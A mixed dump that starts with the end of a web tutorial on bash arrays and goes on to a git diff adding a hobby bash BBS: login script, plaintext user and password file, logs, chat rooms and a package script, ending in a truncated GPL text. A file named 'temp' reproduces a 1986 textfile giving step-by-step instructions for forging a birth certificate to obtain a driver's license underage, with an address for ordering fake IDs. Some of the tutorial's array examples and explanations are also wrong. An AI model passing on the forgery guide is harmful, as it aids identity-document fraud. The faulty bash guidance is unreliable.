This assigns the third element of the array to the value +'bar'. In this instance, FOO[0] and FOO[1] are also +created, but their values are empty.

+ +

To populate an array, use:

+ +
<code>
FOO=( bar string 'some text' )
</code>
+ +

This assigns the first element (FOO[0]) +to 'bar', the second (FOO[1]) to 'string' and the final element (FOO[3]) to +'some text'. Notice that the array elements are separated by a blank space, so +if a value contains white spaces it must be quoted.

+ +

To use an array, it is referred to as $FOO[2] +but it also needs to be surrounded in curly braces, otherwise bash will not +expand it correctly:

+ +
<code>
$ echo {$FOO[2]}
some text
</code>
+ +

To loop through an array, you can use a piece of shell code +like the following:

+ +
<code>
+#!/bin/sh
FOO=( bar string 'some text')
foonum=${#FOO}
+for ((i=0;i<$foonum;i++)); do
   echo ${FOO[${i}]}
done
</code>
+ +

Here we loop through each item of the array and print out its +value. Each array element is accessed by number, so we use the special variable +${#FOO} which gives the number of elements in the array (in the above case, it +would return the number 3). That value is then used in the for loop to determine how many +times to loop. By accessing the array in this manner, you can easily generate +arrays from external data or command-line arguments, and process each element +one at a time.

+ +

Delivered each Tuesday, TechRepublic's free Linux NetNote provides tips, articles, and other resources to help you hone your Linux skills. Automatically sign up today!

+
+
+
+ +
    + + + + + +
  • Save
  • +
  • Print
  • +
  • Digg This
  • + + + + + + + + + + + + + + + + +
  • + +
  • 1
  • + + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+ + + + + Print/View all Posts + + +Comments on this +article +

+ + + + + + + + + + + + + + + + + + + + + +
More bash scripting tipsDanLM  | 08/09/05
Have you checked out the Tony K  | 08/09/05
Mistakes?kiri@...  | 08/10/05
Semantic error8ored  | 08/22/05
+ +
+ + + +
+

What do you think?

+ + + + + + + + + + + + + + + + +
+
+ + + + + + + + + + +
+
+ +
+
+ + + + + + + + + + + + + +
+

TechRepublic Featured Jobs

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Job Title/LocationPosted
Help Desk SupportLake Forest, CA01/08/2008
Help Desk Network SupportGoshen, NY01/02/2008
Help DeskGardner, KS01/11/2008
Help DeskHouston, TX11/07/2007
+
    + +
  • Powered by: Simply Hired
  • +
  • .
  • +
+
+ + + +

White Papers

+ + + + +
+
+ +
+ +
+
+ +
+ + + +
+
+
+ +
+ +
advertisement
Click Here
+ +
+ + + + + + + + diff --git a/bash/bbs/.gitignore b/bash/bbs/.gitignore new file mode 100644 index 0000000..8d027aa --- /dev/null +++ b/bash/bbs/.gitignore @@ -0,0 +1 @@ +data/archive/* diff --git a/bash/bbs/bbs.sh b/bash/bbs/bbs.sh new file mode 100755 index 0000000..ae3809a --- /dev/null +++ b/bash/bbs/bbs.sh @@ -0,0 +1,332 @@ +#!/bin/bash +#Settings +bbs_dir=$(dirname "$0"); +bbs_title="Harvie's BBS"; +#Misc +fail_delay="5"; + +#Directories +config_dir="./config"; +data_dir="./data"; +utils_dir="./utils"; +#Data directories +chatrooms_dir="$data_dir/chatrooms"; +boards_dir="$data_dir/boards"; +archive_dir="$data_dir/archive"; +#Files +welcome_file="$config_dir/welcome"; +about_file="$config_dir/about"; +farewell_file="$config_dir/farewell"; +users_file="$config_dir/users"; +log_file="$config_dir/security.log"; + +#Init... +cd "$bbs_dir"; +tmp="/tmp/bbstmp-$$"; +dialog=$(which dialog); +export DIALOGOPTS="--no-shadow --trim --title \"$bbs_title\" --backtitle \"$bbs_title\""; +w(){ echo $(tput cols); } #dialog width +h(){ echo $(($(tput lines)-0)); } #dialog height (LINES-5 to display backtitle) +m(){ echo $(($(tput lines)-12)); } #dialog menu size +bbs_ssh_ip=$(echo $SSH_CLIENT | cut -d' ' -f1); #Works only with OpenSSH +alias ls=ls; #Get rid of that 'user friendly' crap ;) + +#Functions... +bbs_welcome_banner() { + cat "$welcome_file" > "$tmp"; + echo "$SSH_CLIENT" >>"$tmp"; #Works only with OpenSSH + $dialog --title "Welcome to $bbs_title" --exit-label "Enter" --textbox "$tmp" $(h) $(w); + if [ "$?" != 0 ]; then bbs_exit; fi; +} + +bbs_about() { + $dialog --title "About $bbs_title" --exit-label "Agree" --textbox "$about_file" $(h) $(w); +} + +bbs_exit() { + rm -f "$tmp"; + clear; + cat "$farewell_file"; + exit; +} + +bbs_check_login() { + cat "$users_file" | grep "^[^# ]" | while read i; do + login=$(echo "$i" | cut -d: -f1); + passw=$(echo "$i" | cut -d: -f2); + group=$(echo "$i" | cut -d: -f3); + if [[ "$1" == "$login" && "$2" == "$passw" ]]; then + echo "$group"; + echo "($(date +%T)) $bbs_ssh_ip: Login to user $1 successfull" >>"$log_file"; + fi; + done; +} + +bbs_preview() { + if [[ -d "$1" ]]; + then echo '[DIR]' #$(ls -A "$1"); #<- uncomment rest of the line to have directory preview + else echo #$(head -n1 "$1"); #<- uncomment rest of the line to have file preview + fi; +} + +bbs_browse_dir() { #brand new dialog filelisting - supposed to be secure to directory traversal! + while true; do + + #call dialog with output of ls... + ls -A1 --group-directories-first "$1" | while read i; do + echo -n "$i"; echo -ne "\x00"; + echo -n $(bbs_preview "$1/$i"); echo -ne "\x00" + done | xargs -0 $dialog --menu -- "Select the board" $(h) $(w) $(m) 2>"$tmp"; + + if [ "$?" != 0 ]; then + return 1; + #$dialog --pause "HOOOPS! Sorry. None or empty directory selected..." $(h) $(w) "$fail_delay"; + else + selected=$( echo -n "$1/"; cat "$tmp" ); + if [[ -d "$selected" ]]; + then + bbs_browse_dir "$selected"; return "$?"; + else + echo "$selected" >"$tmp"; return 0; + fi; + fi; + + done; +} + +bbs_browse_dir() { #brand new dialog filelisting - supposed to be secure to directory traversal! + while true; do + + "$utils_dir/fselect" "$1" "$tmp" + + if [ "$?" != 7 ]; then + return 1; + #$dialog --pause "HOOOPS! Sorry. None or empty directory selected..." $(h) $(w) "$fail_delay"; + else + #$dialog --pause "HOOOPS! Sorry. None or empty directory selected..." $(h) $(w) "$fail_delay"; + #selected=$( echo -n "$1/"; cat "$tmp" ); + #echo "$selected" >"$tmp"; + return 0; + fi; + + done; +} + +#bbs_file_select() { #deprecated +# ls -A1 $@ | while read i; do +# echo -n "$i"; echo -ne "\x00"; +# echo -n $(bbs_preview "$1/$i"); echo -ne "\x00" +# done | xargs -0 $dialog --menu -- "Select the file" $(h) $(w) $(m); +# return "$?"; +#} + +bbs_file_edit() { + #This is supposed to be a secure way to edit the file... + nano -DR "$1"; +} + +#Chat################## + +bbs_chat_send() { + $dialog --inputbox "Enter message" $(h) $(w) 2>"$tmp" + if [ "$?" != 0 ]; then return; fi; + message=$(cat "$tmp"); + echo "($(date +%T))" "$login: $message" >>"$1" +} + +bbs_chat_join() { + while true; do + $dialog --title "Chatroom $1 (esc to leave)" --exit-label "Write message" --tailbox "$1" $(h) $(w); + if [ "$?" != 0 ]; then return; fi; + bbs_chat_send "$1"; + done; +} + +bbs_chat() { + bbs_browse_dir "$chatrooms_dir"; + if [ "$?" != 0 ]; then return; fi; + chatroom=$(cat "$tmp"); + bbs_chat_join "$chatroom"; +} + + + +#Mail#################### + +bbs_mail() { + $dialog --pause "HOOOPS! Sorry. Mail not yet ;o)" $(h) $(w) "$fail_delay"; +} + +#Archive################# + +bbs_board_read() { + #echo BBS_BOARD_READ "$1" | less; + #less "$1"; + $dialog --textbox "$1" $(h) $(w); +} + +bbs_archive() { + while true; do + bbs_browse_dir "$archive_dir"; + if [ "$?" != 0 ]; + then break; + else bbs_board_read $(cat "$tmp"); + fi; + done; +} + +#Forum################### + +bbs_board() { + while true; do + bbs_browse_dir "$boards_dir"; + if [ "$?" != 0 ]; + then break; + else bbs_board_read $(cat "$tmp"); + fi; + done; +} + + +#System menu############# + +bbs_admin_console() { + #While this BBS is not complete, i will give the shell to the admin group to fix-up everything ;o) + #bash can be replaced by chrooted SASH (ex.) to improve security... + $dialog --insecure --passwordbox "Enter your password" $(h) $(w) 2>"$tmp"; + if [ "$?" != 0 ]; then return; fi; + repassword=$(cat "$tmp"); + if [[ "$group" == "admin" && "$repassword" == "$password" ]]; then + clear; + echo -e "This is management console. Press ctrl+d or type exit to leave...\n"; + bash; + clear; + else + $dialog --pause "Authentification failed. Check your password and/or membership in admin group." $(h) $(w) "$fail_delay"; + fi; +} + +bbs_logs() { + if [ "$group" == "guest" ]; then + $dialog --pause "Users from guest group can't browse logs!" $(h) $(w) "$fail_delay"; + return; + fi; + $dialog --textbox "$log_file" $(h) $(w); +} + +bbs_user_info() { + echo "LOGIN: $login" >"$tmp"; + echo "GROUP: $group" >>"$tmp"; + echo >>"$tmp"; + echo "IP (if any): $SSH_CLIENT" >>"$tmp"; #Works only with OpenSSH + echo "CONNECTION (if any): $SSH_CONNECTION" >>"$tmp"; #Works only with OpenSSH + $dialog --title "Userinfo for $login" --textbox "$tmp" $(h) $(w); +} + +bbs_user_list() { + cat "$users_file" | grep "^[^# ]" | while read i; do + login=$(echo "$i" | cut -d: -f1); + group=$(echo "$i" | cut -d: -f3); + echo -e "$group\t\t$login"; + done | sort -u >"$tmp"; + $dialog --title "Userlist for $bbs_title" --textbox "$tmp" $(h) $(w); +} + +bbs_register() { ########################################################<-incompleteeeeeeeee + echo -n "$SSH_CLIENT:$ " 2>"$tmp"; + $dialog --inputbox "Send message to admins\n\ + eg.:\nREGISTRATION: yournick:yourpasswd CONTACT:your@adress.net Few words about you here...\n\ + or\nSome other message..." $(h) $(w) 2>>"$tmp"; + if [ "$?" != 0 ]; then return; fi; +} + +bbs_contact_admins() { ########################################################<-incompleteeeeeeeee + echo -n "$SSH_CLIENT:$ " 2>"$tmp"; + $dialog --inputbox "Send message to admins\n\ + eg.:\nREGISTRATION: yournick:yourpasswd CONTACT:your@adress.net Few words about you here...\n\ + or\nSome other message..." $(h) $(w) 2>>"$tmp"; + if [ "$?" != 0 ]; then return; fi; +} + +bbs_system_menu() { + while true; do + $dialog --menu "System Menu" $(h) $(w) $(m)\ + userinfo "Info about you"\ + userlist "Info about other users"\ + logs "View logs"\ + register "Submit request for new account"\ + contact "Contact administrators"\ + admin "Enter admin management console..."\ + back "Go back to the main menu..."\ + 2>"$tmp" + if [ "$?" != 0 ]; then return; fi; + + choice=$(cat "$tmp") + case "$choice" in + "userinfo") bbs_user_info;; + "userlist") bbs_user_list;; + "logs") bbs_logs;; + "register") bbs_register;; + "contact") bbs_contact_admins;; + "admin") bbs_admin_console;; + "back") return;; + *) echo bad choice... keep trying.;; + esac + done; +} + +#CODE########################################################################### +#Welcome +bbs_welcome_banner; + +#Login +while true; do + $dialog --inputbox "Enter your nickname" $(h) $(w) 2>"$tmp"; + if [ "$?" != 0 ]; then bbs_exit; fi; + login=$(cat "$tmp"); + $dialog --insecure --passwordbox "Enter your password" $(h) $(w) 2>"$tmp"; + if [ "$?" != 0 ]; then bbs_exit; fi; + password=$(cat "$tmp"); + + group=$(bbs_check_login "$login" "$password"); + case "$group" in + "user") break;; + "admin") break;; + "guest") break;; + esac; + $dialog --pause "Login failed! Press enter to continue..." $(h) $(w) "$fail_delay"; + echo "($(date +%T)) $bbs_ssh_ip: Login to user $login failed" >>"$log_file"; +done; + +if [[ "$group" == "guest" && -n "$bbs_ssh_ip" ]]; then + login="[$bbs_ssh_ip]$login"; +fi; + + #Login debug ;) + #echo Loged as "$login:$group":$(mkpasswd "$password"); bbs_exit; + +while true; do + $dialog --no-cancel --menu "Main Menu" $(h) $(w) $(m)\ + chat "Browse online chatrooms..."\ + boards "Browse boards..."\ + archive "Browse archive..."\ + mail "Send/receive personal messages..."\ + system "Enter system menu..."\ + about "About this BBS..."\ + exit "Logout"\ + 2>"$tmp" + + choice=$(cat "$tmp") + case "$choice" in + "chat") bbs_chat;; + "boards") bbs_board;; + "archive") bbs_archive;; + "mail") bbs_mail;; + "system") bbs_system_menu;; + "about") bbs_about;; + "exit") bbs_exit;; + *) $dialog --pause "HOOOPS! Sorry. $choice not yet ;o)" $(h) $(w) "$fail_delay";; + esac +done; + +bbs_exit; diff --git a/bash/bbs/chat.sh b/bash/bbs/chat.sh new file mode 100755 index 0000000..aaefad7 --- /dev/null +++ b/bash/bbs/chat.sh @@ -0,0 +1,31 @@ +#!/bin/bash +room="room.txt"; +nick="Harvie" + +PS3="Choose: " +select i in $(ls *) quit +do + [ $i = "quit" ] && exit 0 + echo "You chose $i" +done + + +H="$(( $LINES-10 ))"; +W="$(( $COLUMNS-2 ))"; + +echo $W +echo $H +exit + +chat_send_msg() { + dialog --inputbox "Enter message" "$H" "$W" 2>>"1" + if [ "$?" != 0 ]; then exit; fi; + echo >>"$room" + +} + +while true; do + dialog --tailbox "$room" "$H" "$W"; + if [ "$?" != 0 ]; then exit; fi; + chat_send_msg "$room" "$nick"; +done; diff --git a/bash/bbs/config/about b/bash/bbs/config/about new file mode 100755 index 0000000..f8352d2 --- /dev/null +++ b/bash/bbs/config/about @@ -0,0 +1,22 @@ +Hello +Welcome to my BBS. + +---- +Bulletin board system +From Wikipedia, the free encyclopedia + +A Bulletin Board System, or BBS, is a computer system running software that allows users to connect and login to the system using a terminal program. Originally BBSes were accessed only over a phone +line using a modem, but by the early 1990s some BBSes allowed access via a Telnet or packet radio connection. + +Once a user logged in, they could perform functions such as downloading or uploading software and data, reading news, and exchanging messages with other users. Many BBSes also offered on-line games, in +which users could compete with each other, and BBSes with multiple phone lines often offered chat rooms, allowing users to meet each other. + +During their heyday from the late 1970s to the mid 1990s, most BBSes were run as a hobby free of charge by the system operator (or "sysop"), while other BBSes charged their users a subscription fee for +access, or were operated by a business as a means of supporting their customers. Bulletin Board Systems were in many ways a precursor to the modern form of the World Wide Web and other aspects of the +Internet. + +Early BBSes were often a local phenomenon, as one had to dial into a BBS with a phone line and would have to pay additional long distance charges for a BBS out of the local area. Thus, many users of a +given BBS usually lived in the same area, and activities such as BBS Meets or Get Togethers, where everyone from the board would gather and meet face to face, were common. + +As the use of the Internet became more widespread in the mid to late 1990s, traditional BBSes rapidly faded in popularity. Today, Internet forums occupy much of the same social and technological space +as BBSes did. Today the term BBS is often used to refer to any online forum or message board. diff --git a/bash/bbs/config/farewell b/bash/bbs/config/farewell new file mode 100755 index 0000000..81baa85 --- /dev/null +++ b/bash/bbs/config/farewell @@ -0,0 +1,3 @@ +Thank's for interesting into Harvie's BBS. +So long and thanks for all the fish. + diff --git a/bash/bbs/config/security.log b/bash/bbs/config/security.log new file mode 100755 index 0000000..d554120 --- /dev/null +++ b/bash/bbs/config/security.log @@ -0,0 +1,88 @@ +(03:59:31) : Login to user harvie failed +(03:59:47) : Login to user roflmajstr failed +(03:59:56) : Login to user harvie failed +(04:04:12) : Login to user harvie successfull +(04:04:12) : Login to user harvie failed +(04:06:34) : Login to user failed +(04:06:55) : Login to user failed +(04:07:01) : Login to user harvie successfull +(04:14:42) : Login to user harvie successfull +(04:15:02) : Login to user guest successfull +(04:17:52) : Login to user guest successfull +(04:18:59) 127.0.0.1: Login to user guest successfull +(04:21:13) : Login to user guest successfull +(04:21:31) 127.0.0.1: Login to user guest successfull +(04:22:27) 127.0.0.1: Login to user guest successfull +(04:22:44) : Login to user guest successfull +(04:24:41) : Login to user harvie successfull +(04:29:17) : Login to user guest successfull +(00:42:57) : Login to user harvie successfull +(23:28:36) : Login to user harvie successfull +(01:31:31) : Login to user harvie successfull +(01:38:48) : Login to user harvie successfull +(01:27:50) : Login to user harvie successfull +(01:51:42) : Login to user harvie successfull +(01:53:23) : Login to user harvie successfull +(01:54:34) : Login to user harvie successfull +(01:55:23) : Login to user harvie successfull +(01:56:25) : Login to user harvie successfull +(01:58:32) : Login to user harvie successfull +(01:59:21) : Login to user harvie successfull +(02:00:24) : Login to user harvie successfull +(02:02:44) : Login to user harvie successfull +(02:03:35) : Login to user harvie successfull +(02:04:19) : Login to user harvie successfull +(02:04:56) : Login to user harvie successfull +(02:05:36) : Login to user harvie successfull +(02:07:44) : Login to user harvie successfull +(02:17:35) : Login to user harvie successfull +(02:18:04) : Login to user harvie successfull +(02:22:56) : Login to user harvie successfull +(02:23:16) : Login to user harvie successfull +(02:26:01) : Login to user harvie successfull +(02:27:47) : Login to user harvie successfull +(02:30:42) : Login to user harvie successfull +(02:34:25) : Login to user harvie successfull +(02:34:45) : Login to user harvie successfull +(02:36:27) : Login to user harvie successfull +(02:38:53) : Login to user harvie successfull +(02:39:58) : Login to user harvie successfull +(02:45:14) : Login to user harvie successfull +(02:46:18) : Login to user harvie successfull +(02:50:42) : Login to user harvie successfull +(02:51:55) : Login to user harvie successfull +(02:52:16) : Login to user harvie successfull +(02:53:32) : Login to user harvie successfull +(02:56:16) : Login to user harvie successfull +(02:58:18) : Login to user harvie successfull +(02:59:43) : Login to user harvie successfull +(03:01:10) : Login to user harvie successfull +(03:03:20) : Login to user harvie successfull +(03:05:21) : Login to user harvie successfull +(03:09:29) : Login to user harvie successfull +(03:10:44) : Login to user harvie successfull +(03:12:41) : Login to user harvie successfull +(03:19:49) : Login to user harvie successfull +(03:21:38) : Login to user harvie successfull +(03:22:18) : Login to user harvie successfull +(03:23:00) : Login to user harvie successfull +(03:23:26) : Login to user harvie successfull +(00:53:40) : Login to user harvie successfull +(00:56:26) : Login to user harvie successfull +(01:08:02) : Login to user harvie successfull +(01:22:36) : Login to user harvie successfull +(01:38:57) : Login to user harvie successfull +(01:39:34) : Login to user guest successfull +(01:41:36) : Login to user admin failed +(01:41:40) : Login to user admin failed +(01:41:54) : Login to user admin successfull +(01:47:50) : Login to user harvie successfull +(15:17:40) : Login to user harvie successfull +(15:25:00) : Login to user harvie successfull +(15:26:20) : Login to user harvie successfull +(15:28:38) : Login to user harvie successfull +(20:39:07) : Login to user harvie successfull +(23:32:54) : Login to user harvie successfull +(00:47:51) 127.0.0.1: Login to user harvie successfull +(00:48:24) 127.0.0.1: Login to user guest successfull +(00:49:27) 127.0.0.1: Login to user harvie successfull diff --git a/bash/bbs/config/users b/bash/bbs/config/users new file mode 100755 index 0000000..dee2cd6 --- /dev/null +++ b/bash/bbs/config/users @@ -0,0 +1,5 @@ +#login:password:group +#groups: guest, user, admin +harvie:lol:user +guest:guest:guest +admin:pwnya:admin diff --git a/bash/bbs/config/welcome b/bash/bbs/config/welcome new file mode 100755 index 0000000..24a6fbb --- /dev/null +++ b/bash/bbs/config/welcome @@ -0,0 +1,21 @@ +Welcome to the last citadel of cyberspace! + + _ _ _______ ______ _ _ _____ _______ . _______ + |_____| |_____| |_____/ \ / | |______ ' |______ + | | | | | \_ \/ __|__ |______ ______| + + ______ ______ _______ + |_____] |_____] |______ + |_____] |_____] ______| + + + Contact to administrator: + - harvie@email.cz (email) + - harvie@jabbim.cz (jabber) + - http://blog.harvie.cz/ (www) + WTF? + - http://en.wikipedia.org/wiki/Bulletin_board_system + - http://www.bbsdocumentary.com/ + - http://www.textfiles.com/ + +If you are connected remotely, you can see your IP here: diff --git a/bash/bbs/data/boards/lol b/bash/bbs/data/boards/lol new file mode 100644 index 0000000..076951d --- /dev/null +++ b/bash/bbs/data/boards/lol @@ -0,0 +1 @@ +nejaky soubor... \ No newline at end of file diff --git a/bash/bbs/data/boards/test b/bash/bbs/data/boards/test new file mode 100644 index 0000000..e69de29 diff --git a/bash/bbs/data/boards/testdir/a b/bash/bbs/data/boards/testdir/a new file mode 100644 index 0000000..4072244 --- /dev/null +++ b/bash/bbs/data/boards/testdir/a @@ -0,0 +1,4 @@ +soubor a +a + +asdasdsadsa \ No newline at end of file diff --git a/bash/bbs/data/boards/testdir/b b/bash/bbs/data/boards/testdir/b new file mode 100644 index 0000000..c4f2d97 --- /dev/null +++ b/bash/bbs/data/boards/testdir/b @@ -0,0 +1,10 @@ +soubor BBBB +afsa +fsa +fsaf + +g +fdh +fds +hfdh +fds diff --git a/bash/bbs/data/boards/testdir/c b/bash/bbs/data/boards/testdir/c new file mode 100644 index 0000000..e69de29 diff --git a/bash/bbs/data/chatrooms/omg mg b/bash/bbs/data/chatrooms/omg mg new file mode 100755 index 0000000..e69de29 diff --git a/bash/bbs/data/chatrooms/room1 b/bash/bbs/data/chatrooms/room1 new file mode 100755 index 0000000..9b310a7 --- /dev/null +++ b/bash/bbs/data/chatrooms/room1 @@ -0,0 +1,50 @@ +Kanal o nicem +blah +omg +dasdsafasfsafsaf +asfsafsafsafsaf +asffas + +(02:16:17) harvie: room1lol +(02:16:48) harvie: room1lollol +(02:16:50) harvie: room1lollolomg +(02:17:49) harvie: lol +(02:17:51) harvie: omg +(02:17:53) harvie: rofl +(02:18:38) harvie: rofl +(02:18:53) harvie: rofl +(02:18:57) harvie: wheeeeee +(02:19:04) harvie: maine god!!!! +(02:19:14) harvie: daky hack? " \" " +(02:19:22) harvie: lol +(02:19:33) harvie: /me Fuxoff ;) +(02:19:42) harvie: roflik ;) +(02:19:50) harvie: omg +(03:04:37) harvie: lol +(03:04:41) harvie: dalsi zprava +(03:12:35) harvie: heeeey! +(03:15:37) harvie: lol +(03:17:53) harvie: omg +(03:19:29) harvie: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasssssssssssssssssssssdasdasdfsafsafkjkgjdlhdjgdkjghdkhgjhdslgdhssdhkjgajehtewiutweutuewotsejglsdhjgkhdsjkfhlsdhfjsdůfjsdka sdjflj sdfj lsdjfkjsdkjfsdakfjsdafldsjfkdsafjdsjfsdjfjsdfjůsdjaf.kdzsfkjdjfskdjldaf +(03:24:57) harvie: hello +(03:39:19) harvie: lol +(05:04:35) harvie: testicek +(18:11:44) harvie: omfgtest +(04:18:25) []guest: lol +(04:19:20) [127.0.0.1]guest: message from remote guest +(23:29:54) harvie: arch linux compatibility test +(23:30:10) harvie: +(01:27:58) harvie: blah!!! +(03:23:50) harvie: rtfmfm +(01:39:05) harvie: mnjdsjkfdsf +(01:39:08) harvie: ahoj +(01:39:39) guest: lol +(01:39:45) guest: omgmg fm lol +(01:39:49) guest: +(01:39:51) guest: +(15:18:14) harvie: rofl +(00:50:35) harvie: hello anybody here? +(00:50:51) [127.0.0.1]guest: harvie: hey guy! how do yo do? +(00:50:59) harvie: cool man! +(00:51:07) harvie: sorry, g2g +(00:51:14) [127.0.0.1]guest: ok, see you later ;o) diff --git a/bash/bbs/data/chatrooms/room2 b/bash/bbs/data/chatrooms/room2 new file mode 100755 index 0000000..210f449 --- /dev/null +++ b/bash/bbs/data/chatrooms/room2 @@ -0,0 +1,5 @@ +Kanal o hovne + +(04:24:50) harvie: jjkfhdskfds +(04:24:54) harvie: saffsf +(03:23:32) harvie: test diff --git a/bash/bbs/temp b/bash/bbs/temp new file mode 100755 index 0000000..988ef18 --- /dev/null +++ b/bash/bbs/temp @@ -0,0 +1,46 @@ + _____________________________________________________________________________ +/ \ +| Getting a Fake Driver's License | +| | +| By The Sultan | +| | +| [The Author Reserves No Copyrights] [February 26, 1986] | +\_____________________________________________________________________________/ + + So, you're only 17 or 18 years old and damn, you sure could use a good six +pack of Bud. But, you know, your 23 year old friend happens to be out of town +and he is getting little tired of buying your beer. Why not get your own +driver's license and add a few years. + + Well, there isn't any way you can just walk into the Department of +Licensing and say, "Give me a license." They'd sooner give you head! So, this +is what you do. Crank out six bucks and send away for a fake I.D. Tell them +your age (i.e., 21.) Send that I.D. to a house where nobody lives. Then, haul +out your birth certificate, and make a photcopy. White out your birthdate and +then type in your own. Make another photocopy. Voila! Fake birth certificate. + + Now, go into the D.O.L. and lay down your I.D. and your birth certificate +and say, I need a driver's license. Of course, you will have to take a driver's +test (unless you only ask for a D.O.L. I.D.,) but when you are done, you have a +license you can use and abuse. If you get caught, show the fuzz your fake I.D. + + Here's an address for obtaining a fake I.D.: + (Send a complete description and photo) + + Carroll Studios + Box 29001T + Chicago, IL 60629 + + This place also has fake certificates (birth, divorce, college, high +school, baptismal, will, marriage, etc.) Have fun. + _____________________________________________________________________________ +/ \ +| Another Goodie From | +| | +| The Sultan | +| | +| Special Thanks To: The Goobler, The Horizontal Butcher, and | +| The Dorker | +\_____________________________________________________________________________/ +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/bash/bbs/utils/fm/PKGBUILD b/bash/bbs/utils/fm/PKGBUILD new file mode 100644 index 0000000..dfc9255 --- /dev/null +++ b/bash/bbs/utils/fm/PKGBUILD @@ -0,0 +1,20 @@ +#Maintainer: Stefan husmann +# Contributor: Grigorios Bouzakis +pkgname=fm +pkgver=1.0 +pkgrel=2 +pkgdesc="Minimalistic ncurses filesystem viewer" +arch=('i686' 'x86_64') +url="http://server01.iiiii.info/fm.html" +license=('GPL3') +depends=('glib2' 'ncurses') +source=(http://server01.iiiii.info/public/$pkgname-$pkgver.tar.gz) +md5sums=('ae8d015f3c45b72c12d7382a558b5697') + +build() { + return 1 + cd $srcdir/$pkgname-$pkgver + sed -i 's+vim+vi+' fm.h || return 1 + make PREFIX=$pkgdir/usr install || return 1 +} + diff --git a/bash/bbs/utils/fm/fm-1.0/.hg_archival.txt b/bash/bbs/utils/fm/fm-1.0/.hg_archival.txt new file mode 100644 index 0000000..c927bb6 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/.hg_archival.txt @@ -0,0 +1,2 @@ +repo: e6e2a887a6ed32a4604e8068af57dc20149d2e71 +node: ffbfb24c66b1f60f32e49e8898d002a08e4f153c diff --git a/bash/bbs/utils/fm/fm-1.0/.hgignore b/bash/bbs/utils/fm/fm-1.0/.hgignore new file mode 100644 index 0000000..d9c7acc --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/.hgignore @@ -0,0 +1,5 @@ +syntax: glob +*.o +*.swp +tags +fm diff --git a/bash/bbs/utils/fm/fm-1.0/.hgtags b/bash/bbs/utils/fm/fm-1.0/.hgtags new file mode 100644 index 0000000..11b1740 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/.hgtags @@ -0,0 +1 @@ +fdbcd4753407d7a83433cc062d24665ba4d7bce9 1.0 diff --git a/bash/bbs/utils/fm/fm-1.0/AUTHOR b/bash/bbs/utils/fm/fm-1.0/AUTHOR new file mode 100644 index 0000000..0a27df9 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/AUTHOR @@ -0,0 +1 @@ +Ricardo Catalinas Jiménez diff --git a/bash/bbs/utils/fm/fm-1.0/COPYING b/bash/bbs/utils/fm/fm-1.0/COPYING new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/bash/bbs/utils/fm/fm-1.0/COPYING @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by 